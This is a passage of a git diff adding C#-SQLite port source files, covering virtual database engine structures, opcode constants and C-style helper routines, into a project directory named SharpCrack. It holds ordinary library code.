SQL statement that generated this */ + public object pFree; /* Free this when deleting the vdbe */ +#if SQLITE_DEBUG + public FILE trace; /* Write an execution trace here, if not NULL */ +#endif + public VdbeFrame pFrame; /* Parent frame */ + public VdbeFrame pDelFrame; /* List of frame objects to free on VM reset */ + public int nFrame; /* Number of frames in pFrame list */ + public u32 expmask; /* Binding to these vars invalidates VM */ + public SubProgram pProgram; /* Linked list of all sub-programs used by VM */ + + public Vdbe Copy() + { + Vdbe cp = (Vdbe)MemberwiseClone(); + return cp; + } + public void CopyTo( Vdbe ct ) + { + ct.db = db; + ct.pPrev = pPrev; + ct.pNext = pNext; + ct.nOp = nOp; + ct.nOpAlloc = nOpAlloc; + ct.aOp = aOp; + ct.nLabel = nLabel; + ct.nLabelAlloc = nLabelAlloc; + ct.aLabel = aLabel; + ct.apArg = apArg; + ct.aColName = aColName; + ct.nCursor = nCursor; + ct.apCsr = apCsr; + ct.aVar = aVar; + ct.azVar = azVar; + ct.nVar = nVar; + ct.nzVar = nzVar; + ct.magic = magic; + ct.nMem = nMem; + ct.aMem = aMem; + ct.cacheCtr = cacheCtr; + ct.pc = pc; + ct.rc = rc; + ct.errorAction = errorAction; + ct.nResColumn = nResColumn; + ct.zErrMsg = zErrMsg; + ct.pResultSet = pResultSet; + ct.explain = explain; + ct.changeCntOn = changeCntOn; + ct.expired = expired; + ct.minWriteFileFormat = minWriteFileFormat; + ct.inVtabMethod = inVtabMethod; + ct.usesStmtJournal = usesStmtJournal; + ct.readOnly = readOnly; + ct.nChange = nChange; + ct.isPrepareV2 = isPrepareV2; +#if !SQLITE_OMIT_TRACE + ct.startTime = startTime; +#endif + ct.btreeMask = btreeMask; + ct.lockMask = lockMask; + aCounter.CopyTo( ct.aCounter, 0 ); + ct.zSql = zSql; + ct.pFree = pFree; +#if SQLITE_DEBUG + ct.trace = trace; +#endif + ct.nFkConstraint = nFkConstraint; + ct.nStmtDefCons = nStmtDefCons; + ct.iStatement = iStatement; + ct.pFrame = pFrame; + ct.nFrame = nFrame; + ct.expmask = expmask; + ct.pProgram = pProgram; +#if SQLITE_SSE +ct.fetchId=fetchId; +ct.lru=lru; +#endif +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +ct.pLruPrev=pLruPrev; +ct.pLruNext=pLruNext; +#endif + } + }; + + /* + ** The following are allowed values for Vdbe.magic + */ + //#define VDBE_MAGIC_INIT 0x26bceaa5 /* Building a VDBE program */ + //#define VDBE_MAGIC_RUN 0xbdf20da3 /* VDBE is ready to execute */ + //#define VDBE_MAGIC_HALT 0x519c2973 /* VDBE has completed execution */ + //#define VDBE_MAGIC_DEAD 0xb606c3c8 /* The VDBE has been deallocated */ + const u32 VDBE_MAGIC_INIT = 0x26bceaa5; /* Building a VDBE program */ + const u32 VDBE_MAGIC_RUN = 0xbdf20da3; /* VDBE is ready to execute */ + const u32 VDBE_MAGIC_HALT = 0x519c2973; /* VDBE has completed execution */ + const u32 VDBE_MAGIC_DEAD = 0xb606c3c8; /* The VDBE has been deallocated */ + /* + ** Function prototypes + */ + //void sqlite3VdbeFreeCursor(Vdbe *, VdbeCursor); + //void sqliteVdbePopStack(Vdbe*,int); + //int sqlite3VdbeCursorMoveto(VdbeCursor); + //#if (SQLITE_DEBUG) || defined(VDBE_PROFILE) + //void sqlite3VdbePrintOp(FILE*, int, Op); + //#endif + //u32 sqlite3VdbeSerialTypeLen(u32); + //u32 sqlite3VdbeSerialType(Mem*, int); + //u32sqlite3VdbeSerialPut(unsigned char*, int, Mem*, int); + //u32 sqlite3VdbeSerialGet(const unsigned char*, u32, Mem); + //void sqlite3VdbeDeleteAuxData(VdbeFunc*, int); + + //int sqlite2BtreeKeyCompare(BtCursor *, const void *, int, int, int ); + //int sqlite3VdbeIdxKeyCompare(VdbeCursor*,UnpackedRecord*,int); + //int sqlite3VdbeIdxRowid(sqlite3 *, i64 ); + //int sqlite3MemCompare(const Mem*, const Mem*, const CollSeq); + //int sqlite3VdbeExec(Vdbe); + //int sqlite3VdbeList(Vdbe); + //int sqlite3VdbeHalt(Vdbe); + //int sqlite3VdbeChangeEncoding(Mem *, int); + //int sqlite3VdbeMemTooBig(Mem); + //int sqlite3VdbeMemCopy(Mem*, const Mem); + //void sqlite3VdbeMemShallowCopy(Mem*, const Mem*, int); + //void sqlite3VdbeMemMove(Mem*, Mem); + //int sqlite3VdbeMemNulTerminate(Mem); + //int sqlite3VdbeMemSetStr(Mem*, const char*, int, u8, void()(void)); + //void sqlite3VdbeMemSetInt64(Mem*, i64); +#if SQLITE_OMIT_FLOATING_POINT +//# define sqlite3VdbeMemSetDouble sqlite3VdbeMemSetInt64 +#else + //void sqlite3VdbeMemSetDouble(Mem*, double); +#endif + //void sqlite3VdbeMemSetNull(Mem); + //void sqlite3VdbeMemSetZeroBlob(Mem*,int); + //void sqlite3VdbeMemSetRowSet(Mem); + //int sqlite3VdbeMemMakeWriteable(Mem); + //int sqlite3VdbeMemStringify(Mem*, int); + //i64 sqlite3VdbeIntValue(Mem); + //int sqlite3VdbeMemIntegerify(Mem); + //double sqlite3VdbeRealValue(Mem); + //void sqlite3VdbeIntegerAffinity(Mem); + //int sqlite3VdbeMemRealify(Mem); + //int sqlite3VdbeMemNumerify(Mem); + //int sqlite3VdbeMemFromBtree(BtCursor*,int,int,int,Mem); + //void sqlite3VdbeMemRelease(Mem p); + //void sqlite3VdbeMemReleaseExternal(Mem p); + //int sqlite3VdbeMemFinalize(Mem*, FuncDef); + //string sqlite3OpcodeName(int); + //int sqlite3VdbeMemGrow(Mem pMem, int n, int preserve); + //int sqlite3VdbeCloseStatement(Vdbe *, int); + //void sqlite3VdbeFrameDelete(VdbeFrame); + //int sqlite3VdbeFrameRestore(VdbeFrame ); + //void sqlite3VdbeMemStoreType(Mem *pMem); + +#if !(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE//>0 + //void sqlite3VdbeEnter(Vdbe); + //void sqlite3VdbeLeave(Vdbe); +#else +//# define sqlite3VdbeEnter(X) + static void sqlite3VdbeEnter( Vdbe p ) + { + } +//# define sqlite3VdbeLeave(X) + static void sqlite3VdbeLeave( Vdbe p ) + { + } +#endif + +#if SQLITE_DEBUG + //void sqlite3VdbeMemPrepareToChange(Vdbe*,Mem); +#endif + +#if !SQLITE_OMIT_FOREIGN_KEY + //int sqlite3VdbeCheckFk(Vdbe *, int); +#else +//# define sqlite3VdbeCheckFk(p,i) 0 +static int sqlite3VdbeCheckFk( Vdbe p, int i ) { return 0; } +#endif + + //int sqlite3VdbeMemTranslate(Mem*, u8); + //#if SQLITE_DEBUG + // void sqlite3VdbePrintSql(Vdbe); + // void sqlite3VdbeMemPrettyPrint(Mem pMem, string zBuf); + //#endif + //int sqlite3VdbeMemHandleBom(Mem pMem); + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +// int sqlite3VdbeMemExpandBlob(Mem ); +#else + // #define sqlite3VdbeMemExpandBlob(x) SQLITE_OK + static int sqlite3VdbeMemExpandBlob( Mem x ) + { + return SQLITE_OK; + } +#endif + + //#endif //* !_VDBEINT_H_) */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Vdbe_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Vdbe_h.cs new file mode 100644 index 0000000..79c2f4c --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Vdbe_h.cs @@ -0,0 +1,312 @@ +using i64 = System.Int64; +using u8 = System.Byte; +using u64 = System.UInt64; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Header file for the Virtual DataBase Engine (VDBE) + ** + ** This header defines the interface to the virtual database engine + ** or VDBE. The VDBE implements an abstract machine that runs a + ** simple program to access and modify the underlying database. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#if !_SQLITE_VDBE_H_ + //#define _SQLITE_VDBE_H_ + //#include + + /* + ** A single VDBE is an opaque structure named "Vdbe". Only routines + ** in the source file sqliteVdbe.c are allowed to see the insides + ** of this structure. + */ + //typedef struct Vdbe Vdbe; + + /* + ** The names of the following types declared in vdbeInt.h are required + ** for the VdbeOp definition. + */ + //typedef struct VdbeFunc VdbeFunc; + //typedef struct Mem Mem; + //typedef struct SubProgram SubProgram; + + /* + ** A single instruction of the virtual machine has an opcode + ** and as many as three operands. The instruction is recorded + ** as an instance of the following structure: + */ + public class union_p4 + { /* fourth parameter */ + public int i; /* Integer value if p4type==P4_INT32 */ + public object p; /* Generic pointer */ + //public string z; /* Pointer to data for string (char array) types */ + public string z; // In C# string is unicode, so use byte[] instead + public i64 pI64; /* Used when p4type is P4_INT64 */ + public double pReal; /* Used when p4type is P4_REAL */ + public FuncDef pFunc; /* Used when p4type is P4_FUNCDEF */ + public VdbeFunc pVdbeFunc; /* Used when p4type is P4_VDBEFUNC */ + public CollSeq pColl; /* Used when p4type is P4_COLLSEQ */ + public Mem pMem; /* Used when p4type is P4_MEM */ + public VTable pVtab; /* Used when p4type is P4_VTAB */ + public KeyInfo pKeyInfo; /* Used when p4type is P4_KEYINFO */ + public int[] ai; /* Used when p4type is P4_INTARRAY */ + public SubProgram pProgram; /* Used when p4type is P4_SUBPROGRAM */ + public dxDel pFuncDel; /* Used when p4type is P4_FUNCDEL */ + } ; + public class VdbeOp + { + public u8 opcode; /* What operation to perform */ + public int p4type; /* One of the P4_xxx constants for p4 */ + public u8 opflags; /* Mask of the OPFLG_* flags in opcodes.h */ + public u8 p5; /* Fifth parameter is an unsigned character */ +#if DEBUG_CLASS_VDBEOP || DEBUG_CLASS_ALL +public int _p1; /* First operand */ +public int p1 +{ +get { return _p1; } +set { _p1 = value; } +} + +public int _p2; /* Second parameter (often the jump destination) */ +public int p2 +{ +get { return _p2; } +set { _p2 = value; } +} + +public int _p3; /* The third parameter */ +public int p3 +{ +get { return _p3; } +set { _p3 = value; } +} +#else + public int p1; /* First operand */ + public int p2; /* Second parameter (often the jump destination) */ + public int p3; /* The third parameter */ +#endif + public union_p4 p4 = new union_p4(); +#if SQLITE_DEBUG || DEBUG + public string zComment; /* Comment to improve readability */ +#endif +#if VDBE_PROFILE +public int cnt; /* Number of times this instruction was executed */ +public u64 cycles; /* Total time spend executing this instruction */ +#endif + }; + //typedef struct VdbeOp VdbeOp; + + /* + ** A sub-routine used to implement a trigger program. + */ + public class SubProgram + { + public VdbeOp[] aOp; /* Array of opcodes for sub-program */ + public int nOp; /* Elements in aOp[] */ + public int nMem; /* Number of memory cells required */ + public int nCsr; /* Number of cursors required */ + public int token; /* id that may be used to recursive triggers */ + public SubProgram pNext; /* Next sub-program already visited */ + }; + + /* + ** A smaller version of VdbeOp used for the VdbeAddOpList() function because + ** it takes up less space. + */ + public struct VdbeOpList + { + public u8 opcode; /* What operation to perform */ + public int p1; /* First operand */ + public int p2; /* Second parameter (often the jump destination) */ + public int p3; /* Third parameter */ + public VdbeOpList( u8 opcode, int p1, int p2, int p3 ) + { + this.opcode = opcode; + this.p1 = p1; + this.p2 = p2; + this.p3 = p3; + } + + }; + //typedef struct VdbeOpList VdbeOpList; + + /* + ** Allowed values of VdbeOp.p4type + */ + const int P4_NOTUSED = 0; /* The P4 parameter is not used */ + const int P4_DYNAMIC = ( -1 ); /* Pointer to a string obtained from sqliteMalloc=(); */ + const int P4_STATIC = ( -2 ); /* Pointer to a static string */ + const int P4_COLLSEQ = ( -4 ); /* P4 is a pointer to a CollSeq structure */ + const int P4_FUNCDEF = ( -5 ); /* P4 is a pointer to a FuncDef structure */ + const int P4_KEYINFO = ( -6 ); /* P4 is a pointer to a KeyInfo structure */ + const int P4_VDBEFUNC = ( -7 ); /* P4 is a pointer to a VdbeFunc structure */ + const int P4_MEM = ( -8 ); /* P4 is a pointer to a Mem* structure */ + const int P4_TRANSIENT = 0; /* P4 is a pointer to a transient string */ + const int P4_VTAB = ( -10 ); /* P4 is a pointer to an sqlite3_vtab structure */ + const int P4_MPRINTF = ( -11 ); /* P4 is a string obtained from sqlite3_mprintf=(); */ + const int P4_REAL = ( -12 ); /* P4 is a 64-bit floating point value */ + const int P4_INT64 = ( -13 ); /* P4 is a 64-bit signed integer */ + const int P4_INT32 = ( -14 ); /* P4 is a 32-bit signed integer */ + const int P4_INTARRAY = ( -15 ); /* #define P4_INTARRAY (-15) /* P4 is a vector of 32-bit integers */ + const int P4_SUBPROGRAM = ( -18 );/* #define P4_SUBPROGRAM (-18) /* P4 is a pointer to a SubProgram structure */ + + /* When adding a P4 argument using P4_KEYINFO, a copy of the KeyInfo structure + ** is made. That copy is freed when the Vdbe is finalized. But if the + ** argument is P4_KEYINFO_HANDOFF, the passed in pointer is used. It still + ** gets freed when the Vdbe is finalized so it still should be obtained + ** from a single sqliteMalloc(). But no copy is made and the calling + ** function should *not* try to free the KeyInfo. + */ + const int P4_KEYINFO_HANDOFF = ( -16 ); // #define P4_KEYINFO_HANDOFF (-16) + const int P4_KEYINFO_STATIC = ( -17 ); // #define P4_KEYINFO_STATIC (-17) + + /* + ** The Vdbe.aColName array contains 5n Mem structures, where n is the + ** number of columns of data returned by the statement. + */ + //#define COLNAME_NAME 0 + //#define COLNAME_DECLTYPE 1 + //#define COLNAME_DATABASE 2 + //#define COLNAME_TABLE 3 + //#define COLNAME_COLUMN 4 + //#if SQLITE_ENABLE_COLUMN_METADATA + //# define COLNAME_N 5 /* Number of COLNAME_xxx symbols */ + //#else + //# ifdef SQLITE_OMIT_DECLTYPE + //# define COLNAME_N 1 /* Store only the name */ + //# else + //# define COLNAME_N 2 /* Store the name and decltype */ + //# endif + //#endif + const int COLNAME_NAME = 0; + const int COLNAME_DECLTYPE = 1; + const int COLNAME_DATABASE = 2; + const int COLNAME_TABLE = 3; + const int COLNAME_COLUMN = 4; +#if SQLITE_ENABLE_COLUMN_METADATA +const int COLNAME_N = 5; /* Number of COLNAME_xxx symbols */ +#else +# if SQLITE_OMIT_DECLTYPE +const int COLNAME_N = 1; /* Number of COLNAME_xxx symbols */ +# else + const int COLNAME_N = 2; +# endif +#endif + + /* +** The following macro converts a relative address in the p2 field +** of a VdbeOp structure into a negative number so that +** sqlite3VdbeAddOpList() knows that the address is relative. Calling +** the macro again restores the address. +*/ + //#define ADDR(X) (-1-(X)) + static int ADDR( int x ) + { + return -1 - x; + } + /* + ** The makefile scans the vdbe.c source file and creates the "opcodes.h" + ** header file that defines a number for each opcode used by the VDBE. + */ + //#include "opcodes.h" + + /* + ** Prototypes for the VDBE interface. See comments on the implementation + ** for a description of what each of these routines does. + */ + /* + ** Prototypes for the VDBE interface. See comments on the implementation + ** for a description of what each of these routines does. + */ + //Vdbe *sqlite3VdbeCreate(sqlite3); + //int sqlite3VdbeAddOp0(Vdbe*,int); + //int sqlite3VdbeAddOp1(Vdbe*,int,int); + //int sqlite3VdbeAddOp2(Vdbe*,int,int,int); + //int sqlite3VdbeAddOp3(Vdbe*,int,int,int,int); + //int sqlite3VdbeAddOp4(Vdbe*,int,int,int,int,string zP4,int); + //int sqlite3VdbeAddOp4Int(Vdbe*,int,int,int,int,int); + //int sqlite3VdbeAddOpList(Vdbe*, int nOp, VdbeOpList const *aOp); + //void sqlite3VdbeAddParseSchemaOp(Vdbe*,int,char); + //void sqlite3VdbeChangeP1(Vdbe*, int addr, int P1); + //void sqlite3VdbeChangeP2(Vdbe*, int addr, int P2); + //void sqlite3VdbeChangeP3(Vdbe*, int addr, int P3); + //void sqlite3VdbeChangeP5(Vdbe*, u8 P5); + //void sqlite3VdbeJumpHere(Vdbe*, int addr); + //void sqlite3VdbeChangeToNoop(Vdbe*, int addr, int N); + //void sqlite3VdbeChangeP4(Vdbe*, int addr, string zP4, int N); + //void sqlite3VdbeUsesBtree(Vdbe*, int); + //VdbeOp *sqlite3VdbeGetOp(Vdbe*, int); + //int sqlite3VdbeMakeLabel(Vdbe); + //void sqlite3VdbeRunOnlyOnce(Vdbe); + //void sqlite3VdbeDelete(Vdbe); + //void sqlite3VdbeDeleteObject(sqlite3*,Vdbe); + //void sqlite3VdbeMakeReady(Vdbe*,Parse); + //int sqlite3VdbeFinalize(Vdbe); + //void sqlite3VdbeResolveLabel(Vdbe*, int); + //int sqlite3VdbeCurrentAddr(Vdbe); + //#if SQLITE_DEBUG + // int sqlite3VdbeAssertMayAbort(Vdbe *, int); + // void sqlite3VdbeTrace(Vdbe*,FILE); + //#endif + //void sqlite3VdbeResetStepResult(Vdbe); + //void sqlite3VdbeRewind(Vdbe); + //int sqlite3VdbeReset(Vdbe); + //void sqlite3VdbeSetNumCols(Vdbe*,int); + //int sqlite3VdbeSetColName(Vdbe*, int, int, string , void()(void)); + //void sqlite3VdbeCountChanges(Vdbe); + //sqlite3 *sqlite3VdbeDb(Vdbe); + //void sqlite3VdbeSetSql(Vdbe*, string z, int n, int); + //void sqlite3VdbeSwap(Vdbe*,Vdbe); + //VdbeOp *sqlite3VdbeTakeOpArray(Vdbe*, int*, int); + //sqlite3_value *sqlite3VdbeGetValue(Vdbe*, int, u8); + //void sqlite3VdbeSetVarmask(Vdbe*, int); + //#if !SQLITE_OMIT_TRACE + // char *sqlite3VdbeExpandSql(Vdbe*, const char); + //#endif + + //UnpackedRecord *sqlite3VdbeRecordUnpack(KeyInfo*,int,const void*,char*,int); + //void sqlite3VdbeDeleteUnpackedRecord(UnpackedRecord); + //int sqlite3VdbeRecordCompare(int,const void*,UnpackedRecord); + + //#if !SQLITE_OMIT_TRIGGER + //void sqlite3VdbeLinkSubProgram(Vdbe *, SubProgram ); + //#endif +//#if !NDEBUG +#if XXNDEBUG + //void sqlite3VdbeComment(Vdbe*, const char*, ...); + static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) + { + sqlite3VdbeComment( v, zFormat, ap ); + }//# define VdbeComment(X) sqlite3VdbeComment X + //void sqlite3VdbeNoopComment(Vdbe*, const char*, ...); + static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) + { + sqlite3VdbeNoopComment( v, zFormat, ap ); + }//# define VdbeNoopComment(X) sqlite3VdbeNoopComment X +#else +//# define VdbeComment(X) +static void VdbeComment( Vdbe v, string zFormat, params object[] ap ) { } +//# define VdbeNoopComment(X) +static void VdbeNoopComment( Vdbe v, string zFormat, params object[] ap ) { } +#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/_Custom.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/_Custom.cs new file mode 100644 index 0000000..588c051 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/_Custom.cs @@ -0,0 +1,659 @@ +/* +************************************************************************* +** Custom classes used by C# +************************************************************************* +*/ +using System; +using System.Diagnostics; +using System.IO; +//#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) +//using System.Management; +//#endif +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +using i64 = System.Int64; + +using u32 = System.UInt32; +using time_t = System.Int64; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + +static int atoi( byte[] inStr ) +{ + return atoi( Encoding.UTF8.GetString( inStr, 0, inStr.Length ) ); +} + +static int atoi( string inStr ) +{ + int i; + for ( i = 0; i < inStr.Length; i++ ) + { + //if ( !sqlite3Isdigit( inStr[i] ) && inStr[i] != '-' ) + if ( inStr[i] < '0'&& inStr[i]> '9' && inStr[i] != '-' ) + break; + } + int result = 0; +#if WINDOWS_MOBILE + try { result = Int32.Parse(inStr.Substring(0, i)); } + catch { } + return result; +#else + return ( Int32.TryParse( inStr.Substring( 0, i ), out result ) ? result : 0 ); +#endif +} + +static void fprintf( TextWriter tw, string zFormat, params object[] ap ) +{ + tw.Write( sqlite3_mprintf( zFormat, ap ) ); +} +static void printf( string zFormat, params object[] ap ) +{ + Console.Out.Write( sqlite3_mprintf( zFormat, ap ) ); +} + + +//Byte Buffer Testing +static int memcmp( byte[] bA, byte[] bB, int Limit ) +{ + if ( bA.Length < Limit ) + return ( bA.Length < bB.Length ) ? -1 : +1; + if ( bB.Length < Limit ) + return +1; + for ( int i = 0; i < Limit; i++ ) + { + if ( bA[i] != bB[i] ) + return ( bA[i] < bB[i] ) ? -1 : 1; + } + return 0; +} + +//Byte Buffer & String Testing +static int memcmp( string A, byte[] bB, int Limit ) +{ + if ( A.Length < Limit ) + return ( A.Length < bB.Length ) ? -1 : +1; + if ( bB.Length < Limit ) + return +1; + char[] cA = A.ToCharArray(); + for ( int i = 0; i < Limit; i++ ) + { + if ( cA[i] != bB[i] ) + return ( cA[i] < bB[i] ) ? -1 : 1; + } + return 0; +} + +//byte with Offset & String Testing +static int memcmp( byte[] a, int Offset, byte[] b, int Limit ) +{ + if ( a.Length < Offset + Limit ) + return ( a.Length - Offset < b.Length ) ? -1 : +1; + if ( b.Length < Limit ) + return +1; + for ( int i = 0; i < Limit; i++ ) + { + if ( a[i + Offset] != b[i] ) + return ( a[i + Offset] < b[i] ) ? -1 : 1; + } + return 0; +} + +//byte with Offset & String Testing +static int memcmp( byte[] a, int Aoffset, byte[] b, int Boffset, int Limit ) +{ + if ( a.Length < Aoffset + Limit ) + return ( a.Length - Aoffset < b.Length - Boffset ) ? -1 : +1; + if ( b.Length < Boffset + Limit ) + return +1; + for ( int i = 0; i < Limit; i++ ) + { + if ( a[i + Aoffset] != b[i + Boffset] ) + return ( a[i + Aoffset] < b[i + Boffset] ) ? -1 : 1; + } + return 0; +} + +static int memcmp( byte[] a, int Offset, string b, int Limit ) +{ + if ( a.Length < Offset + Limit ) + return ( a.Length - Offset < b.Length ) ? -1 : +1; + if ( b.Length < Limit ) + return +1; + for ( int i = 0; i < Limit; i++ ) + { + if ( a[i + Offset] != b[i] ) + return ( a[i + Offset] < b[i] ) ? -1 : 1; + } + return 0; +} +//String Testing +static int memcmp( string A, string B, int Limit ) +{ + if ( A.Length < Limit ) + return ( A.Length < B.Length ) ? -1 : +1; + if ( B.Length < Limit ) + return +1; + int rc; + if ( ( rc = String.Compare( A, 0, B, 0, Limit, StringComparison.Ordinal ) ) == 0 ) + return 0; + return rc < 0 ? -1 : +1; +} + + +// ---------------------------- +// ** Builtin Functions +// ---------------------------- + + +static Regex oRegex = null; +/* +** The regexp() function. two arguments are both strings +** Collating sequences are not used. +*/ +static void regexpFunc( +sqlite3_context context, +int argc, +sqlite3_value[] argv +) +{ + string zTest; /* The input string A */ + string zRegex; /* The regex string B */ + + Debug.Assert( argc == 2 ); + UNUSED_PARAMETER( argc ); + zRegex = sqlite3_value_text( argv[0] ); + zTest = sqlite3_value_text( argv[1] ); + + if ( zTest == null || String.IsNullOrEmpty( zRegex ) ) + { + sqlite3_result_int( context, 0 ); + return; + } + + if ( oRegex == null || oRegex.ToString() == zRegex ) + { + oRegex = new Regex( zRegex, RegexOptions.IgnoreCase ); + } + sqlite3_result_int( context, oRegex.IsMatch( zTest ) ? 1 : 0 ); +} + + +// ---------------------------- +// ** Convertion routines +// ---------------------------- +static Object lock_va_list = new Object(); + +static string vaFORMAT; +static int vaNEXT; + +static void va_start( object[] ap, string zFormat ) +{ + vaFORMAT = zFormat; + vaNEXT = 0; +} + +static Boolean va_arg( object[] ap, Boolean sysType ) +{ + return Convert.ToBoolean( ap[vaNEXT++] ); +} + +static Byte[] va_arg( object[] ap, Byte[] sysType ) +{ + return (Byte[])ap[vaNEXT++]; +} + +static Byte[][] va_arg( object[] ap, Byte[][] sysType ) +{ + if ( ap[vaNEXT] == null ) + { + { + vaNEXT++; + return null; + } + } + else + { + return (Byte[][])ap[vaNEXT++]; + } +} + +static Char va_arg( object[] ap, Char sysType ) +{ + if ( ap[vaNEXT] is Int32 && (int)ap[vaNEXT] == 0 ) + { + vaNEXT++; + return (char)'0'; + } + else + { + if ( ap[vaNEXT] is Int64 ) + if ( (i64)ap[vaNEXT] == 0 ) + { + vaNEXT++; + return (char)'0'; + } + else + return (char)( (i64)ap[vaNEXT++] ); + else + return (char)ap[vaNEXT++]; + } + +} + +static Double va_arg( object[] ap, Double sysType ) +{ + return Convert.ToDouble( ap[vaNEXT++] ); +} + +static dxLog va_arg( object[] ap, dxLog sysType ) +{ + return (dxLog)ap[vaNEXT++]; +} + +static Int64 va_arg( object[] ap, Int64 sysType ) +{ + if ( ap[vaNEXT] is System.Int64) + return Convert.ToInt64( ap[vaNEXT++] ); + else + return (Int64)( ap[vaNEXT++].GetHashCode() ); +} + +static Int32 va_arg( object[] ap, Int32 sysType ) +{ + if ( Convert.ToInt64( ap[vaNEXT] ) > 0 && ( Convert.ToUInt32( ap[vaNEXT] ) > Int32.MaxValue ) ) + return (Int32)( Convert.ToUInt32( ap[vaNEXT++] ) - System.UInt32.MaxValue - 1 ); + else + return (Int32)Convert.ToInt32( ap[vaNEXT++] ); +} + +static Int32[] va_arg( object[] ap, Int32[] sysType ) +{ + if ( ap[vaNEXT] == null ) + { + { + vaNEXT++; + return null; + } + } + else + { + return (Int32[])ap[vaNEXT++]; + } +} + +static MemPage va_arg( object[] ap, MemPage sysType ) +{ + return (MemPage)ap[vaNEXT++]; +} + +static Object va_arg( object[] ap, Object sysType ) +{ + return (Object)ap[vaNEXT++]; +} + +static sqlite3 va_arg( object[] ap, sqlite3 sysType ) +{ + return (sqlite3)ap[vaNEXT++]; +} + +static sqlite3_mem_methods va_arg( object[] ap, sqlite3_mem_methods sysType ) +{ + return (sqlite3_mem_methods)ap[vaNEXT++]; +} + +static sqlite3_mutex_methods va_arg( object[] ap, sqlite3_mutex_methods sysType ) +{ + return (sqlite3_mutex_methods)ap[vaNEXT++]; +} + +static SrcList va_arg( object[] ap, SrcList sysType ) +{ + return (SrcList)ap[vaNEXT++]; +} + +static String va_arg( object[] ap, String sysType ) +{ + if ( ap.Length < vaNEXT - 1 || ap[vaNEXT] == null ) + { + vaNEXT++; + return "NULL"; + } + else + { + if ( ap[vaNEXT] is Byte[] ) + if ( Encoding.UTF8.GetString( (byte[])ap[vaNEXT], 0, ( (byte[])ap[vaNEXT] ).Length ) == "\0" ) + { + vaNEXT++; + return ""; + } + else + return Encoding.UTF8.GetString( (byte[])ap[vaNEXT], 0, ( (byte[])ap[vaNEXT++] ).Length ); + else if ( ap[vaNEXT] is Int32 ) + { + vaNEXT++; + return null; + } + else if ( ap[vaNEXT] is StringBuilder ) + return (String)ap[vaNEXT++].ToString(); + else if ( ap[vaNEXT] is Char ) + return ( (Char)ap[vaNEXT++] ).ToString(); + else + return (String)ap[vaNEXT++]; + } +} + +static Token va_arg( object[] ap, Token sysType ) +{ + return (Token)ap[vaNEXT++]; +} + +static UInt32 va_arg( object[] ap, UInt32 sysType ) +{ + if ( ap[vaNEXT].GetType().IsClass ) + { + return (UInt32)ap[vaNEXT++].GetHashCode(); + } + else + { + return (UInt32)Convert.ToUInt32( ap[vaNEXT++] ); + } +} + +static UInt64 va_arg( object[] ap, UInt64 sysType ) +{ + if ( ap[vaNEXT].GetType().IsClass ) + { + return (UInt64)ap[vaNEXT++].GetHashCode(); + } + else + { + return (UInt64)Convert.ToUInt64( ap[vaNEXT++] ); + } +} + +static void_function va_arg( object[] ap, void_function sysType ) +{ + return (void_function)ap[vaNEXT++]; +} + + +static void va_end( ref string[] ap ) +{ + ap = null; + vaNEXT = -1; + vaFORMAT = ""; +} +static void va_end( ref object[] ap ) +{ + ap = null; + vaNEXT = -1; + vaFORMAT = ""; +} + + +public static tm localtime( time_t baseTime ) +{ + System.DateTime RefTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + RefTime = RefTime.AddSeconds( Convert.ToDouble( baseTime ) ).ToLocalTime(); + tm tm = new tm(); + tm.tm_sec = RefTime.Second; + tm.tm_min = RefTime.Minute; + tm.tm_hour = RefTime.Hour; + tm.tm_mday = RefTime.Day; + tm.tm_mon = RefTime.Month; + tm.tm_year = RefTime.Year; + tm.tm_wday = (int)RefTime.DayOfWeek; + tm.tm_yday = RefTime.DayOfYear; + tm.tm_isdst = RefTime.IsDaylightSavingTime() ? 1 : 0; + return tm; +} + +public static long ToUnixtime( System.DateTime date ) +{ + System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + System.TimeSpan timeSpan = date - unixStartTime; + return Convert.ToInt64( timeSpan.TotalSeconds ); +} + +public static System.DateTime ToCSharpTime( long unixTime ) +{ + System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + return unixStartTime.AddSeconds( Convert.ToDouble( unixTime ) ); +} + +public class tm +{ + public int tm_sec; /* seconds after the minute - [0,59] */ + public int tm_min; /* minutes after the hour - [0,59] */ + public int tm_hour; /* hours since midnight - [0,23] */ + public int tm_mday; /* day of the month - [1,31] */ + public int tm_mon; /* months since January - [0,11] */ + public int tm_year; /* years since 1900 */ + public int tm_wday; /* days since Sunday - [0,6] */ + public int tm_yday; /* days since January 1 - [0,365] */ + public int tm_isdst; /* daylight savings time flag */ +}; + +public struct FILETIME +{ + public u32 dwLowDateTime; + public u32 dwHighDateTime; +} + +// Example (C#) +public static int GetbytesPerSector( StringBuilder diskPath ) +{ +#if NO_SQLITE_SILVERLIGHT // #if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + ManagementObjectSearcher mosLogicalDisks = new ManagementObjectSearcher( "select * from 